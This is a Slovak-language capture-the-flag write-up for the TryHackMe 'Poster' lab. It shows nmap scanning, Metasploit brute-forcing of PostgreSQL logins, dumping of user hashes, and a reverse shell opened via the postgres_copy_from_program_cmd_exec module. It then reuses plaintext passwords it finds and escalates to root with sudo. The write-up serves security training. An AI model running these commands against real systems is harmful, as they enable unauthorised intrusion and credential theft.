Príspevok

TryHackMe - Plagát

Správca systému nastavil rdbms bezpečným spôsobom

TryHackMe - Plagát

Úvod

RDBMS, založený na relatívnom modeli EF Codda, umožňuje efektívnu správu údajov organizovaním údajov do vzájomne prepojených tabuliek. Na rozdiel od plochých súborov používajú RDBMS pre operácie CRUD, SQL, čím zaisťujú lepšiu efektivitu, škálovateľnosť a získavanie údajov.

Tryhackme Room Link

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.155.131
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 71:ed:48:af:29:9e:30:c1:b6:1d:ff:b0:24:cc:6d:cb (RSA)
|   256 eb:3a:a3:4e:6f:10:00:ab:ef:fc:c5:2b:0e:db:40:57 (ECDSA)
|_  256 3e:41:42:35:38:05:d3:92:eb:49:39:c6:e3:ee:78:de (ED25519)
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Poster CMS
5432/tcp open  postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-29T00:54:25
|_Not valid after:  2030-07-27T00:54:25
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Otvorené porty: 22/tcp 80/tcp 5432/tcp

Čo je rdbms nainštalované na serveri?

Môžeme to vidieť z nmap

1
postgresql

Na akom porte beží rdbms?

Môžeme to vidieť z nmap

1
5432

Aká je celá cesta modulov (začínajúc pomocnými)?

Začnime s metasploit

1
2
msfconsole
msf6 > search postgresql

Path

Odpoveď:

1
auxiliary/scanner/postgres/postgres_login

Aké prihlasovacie údaje ste našli?

1
2
3
use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_login) > exploit

Path

Odpoveď:

1
postgres:password

Aká je celá cesta modulu, ktorá vám umožňuje vykonávať príkazy so správnymi používateľskými povereniami (začínajúc pomocnými)?

1
search postgresql

Path2

Odpoveď:

1
auxiliary/admin/postgres/postgres_sql

Na základe výsledkov #6, aká verzia rdbms je nainštalovaná na serveri?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
use auxiliary/admin/postgres/postgres_sql
msf6 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 10.10.155.131
msf6 auxiliary(admin/postgres/postgres_sql) > set PASSWORD password
msf6 auxiliary(admin/postgres/postgres_sql) > exploit
[*] Running module against 10.10.155.131
Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
    , 64-bit

[*] Auxiliary module execution completed

Odpoveď:

1
9.5.21

Aká je celá cesta modulu, ktorý umožňuje vyhadzovanie používateľských hashov (začínajúc pomocným)?

1
search postgres

Path3

Odpoveď:

1
auxiliary/scanner/postgres/postgres_hashdump

Koľko používateľských hashov modul vypíše?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD password
msf6 auxiliary(scanner/postgres/postgres_hashdump) > exploit
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username   Hash
 --------   ----
 darkstart  md58842b99375db43e9fdf238753623a27d
 poster     md578fb805c7412ae597b399844a54cce0a
 postgres   md532e12f215ba27cb750c9e093ce4b5127
 sistemas   md5f7dbc0d5a06653e74da6b1af9290ee2b
 ti         md57af9ac4c593e9e4f275576e13f935579
 tryhackme  md503aab1165001c8f8ccae31a8824efddc

Odpoveď:

1
6

Aká je celá cesta modulu (začínajúc pomocným), ktorý umožňuje overenému používateľovi prezerať súbory podľa vlastného výberu na serveri?

Path4

Odpoveď:

1
auxiliary/admin/postgres/postgres_readfile

Aká je celá cesta modulu, ktorý umožňuje vykonávanie ľubovoľného príkazu so správnymi používateľskými povereniami (začínajúc exploitom)?

Odpoveď:

1
exploit/multi/postgres/postgres_copy_from_program_cmd_exec

Kompromitujte zariadenie a nájdite súbor user.txt

Využime teda poskytnutý modul, najprv spustite Netcat listener a potom pokračujte v exploite

1
2
3
4
5
6
7
8
9
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.155.131
RHOSTS => 10.10.155.131
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password password
password => password
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LPORT 1337
LPORT => 1337
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 10.14.99.72
LHOST => 10.14.99.72
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

Exploit

Teraz môžeme čítať súbor credentials.txt umiestnený v priečinku /home/dark

1
2
cat credentials.txt
dark:qwerty1234#!hackme

Teraz sa prihlasujeme ako dark cez ssh

1
2
ssh [email protected]
qwerty1234#!hackme

Po troche skúmania môžeme nájsť alisonine prihlasovacie údaje v súbore config.php

1
alison:p4ssw0rdS3cur3!#

Takže sa môžeme prihlásiť ako alison a získať súbor user.txt

Useflag

Eskalujte privilégiá a získajte root.txt

Zdá sa, že sme schopní spustiť sudo

1
2
3
4
5
6
7
8
9
10
alison@ubuntu:~$ sudo -l
[sudo] password for alison: 
Matching Defaults entries for alison on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alison may run the following commands on ubuntu:
    (ALL : ALL) ALL
alison@ubuntu:~$ sudo bash
root@ubuntu:~# 

Rootflag

Tento príspevok je licencovaný pod CC BY 4.0 autorom.